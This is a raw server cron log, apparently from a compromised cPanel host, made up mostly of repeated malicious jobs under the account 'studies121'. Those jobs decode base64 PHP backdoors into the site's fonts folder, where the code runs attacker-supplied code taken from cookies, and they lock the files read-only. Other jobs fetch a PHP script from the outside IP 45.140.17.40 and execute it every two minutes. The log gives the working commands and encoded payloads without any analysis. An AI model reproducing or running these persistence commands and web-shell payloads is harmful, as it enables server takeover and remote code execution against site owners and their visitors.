Sep  6 07:24:01 ip-184-168-122-23 CROND[1895]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 07:25:01 ip-184-168-122-23 CROND[1989]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 07:25:01 ip-184-168-122-23 CROND[1991]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 07:25:01 ip-184-168-122-23 CROND[1993]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 07:25:01 ip-184-168-122-23 CROND[1994]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 07:25:01 ip-184-168-122-23 CROND[1996]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 07:25:01 ip-184-168-122-23 CROND[1995]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 07:26:01 ip-184-168-122-23 CROND[2086]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 07:26:01 ip-184-168-122-23 CROND[2090]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 07:26:01 ip-184-168-122-23 CROND[2089]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 07:26:01 ip-184-168-122-23 CROND[2088]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 07:26:01 ip-184-168-122-23 CROND[2091]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 07:27:01 ip-184-168-122-23 CROND[2179]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 07:27:01 ip-184-168-122-23 CROND[2182]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 07:27:01 ip-184-168-122-23 CROND[2183]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 07:27:01 ip-184-168-122-23 CROND[2181]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 07:28:01 ip-184-168-122-23 CROND[2281]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 07:28:01 ip-184-168-122-23 CROND[2283]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 07:28:01 ip-184-168-122-23 CROND[2284]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 07:28:01 ip-184-168-122-23 CROND[2285]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 07:28:01 ip-184-168-122-23 CROND[2282]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 07:29:01 ip-184-168-122-23 CROND[2375]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 07:29:01 ip-184-168-122-23 CROND[2380]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 07:29:01 ip-184-168-122-23 CROND[2379]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 07:29:01 ip-184-168-122-23 CROND[2378]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 07:30:01 ip-184-168-122-23 CROND[2543]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 07:30:01 ip-184-168-122-23 CROND[2545]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 07:30:01 ip-184-168-122-23 CROND[2544]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 07:30:01 ip-184-168-122-23 CROND[2547]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 07:30:01 ip-184-168-122-23 CROND[2549]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 07:30:01 ip-184-168-122-23 CROND[2550]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 07:30:01 ip-184-168-122-23 CROND[2551]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 07:30:01 ip-184-168-122-23 CROND[2552]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 07:31:01 ip-184-168-122-23 CROND[2641]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 07:31:01 ip-184-168-122-23 CROND[2643]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 07:31:01 ip-184-168-122-23 CROND[2644]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 07:31:01 ip-184-168-122-23 CROND[2645]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 07:31:01 ip-184-168-122-23 CROND[2642]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 07:32:01 ip-184-168-122-23 CROND[2728]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 07:32:01 ip-184-168-122-23 CROND[2731]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 07:32:01 ip-184-168-122-23 CROND[2730]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 07:32:01 ip-184-168-122-23 CROND[2733]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 07:32:01 ip-184-168-122-23 CROND[2732]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 07:33:01 ip-184-168-122-23 CROND[2812]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 07:33:01 ip-184-168-122-23 CROND[2813]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 07:33:01 ip-184-168-122-23 CROND[2814]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 07:33:01 ip-184-168-122-23 CROND[2815]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 07:34:01 ip-184-168-122-23 CROND[2903]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 07:34:01 ip-184-168-122-23 CROND[2902]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 07:34:01 ip-184-168-122-23 CROND[2905]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 07:34:01 ip-184-168-122-23 CROND[2908]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 07:34:01 ip-184-168-122-23 CROND[2911]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 07:35:01 ip-184-168-122-23 CROND[3009]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 07:35:01 ip-184-168-122-23 CROND[3013]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 07:35:01 ip-184-168-122-23 CROND[3014]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 07:35:01 ip-184-168-122-23 CROND[3015]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 07:35:01 ip-184-168-122-23 CROND[3016]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  6 07:35:01 ip-184-168-122-23 CROND[3012]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 07:35:01 ip-184-168-122-23 CROND[3011]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 07:35:01 ip-184-168-122-23 CROND[3017]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 07:36:01 ip-184-168-122-23 CROND[3108]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 07:36:01 ip-184-168-122-23 CROND[3110]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 07:36:01 ip-184-168-122-23 CROND[3109]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
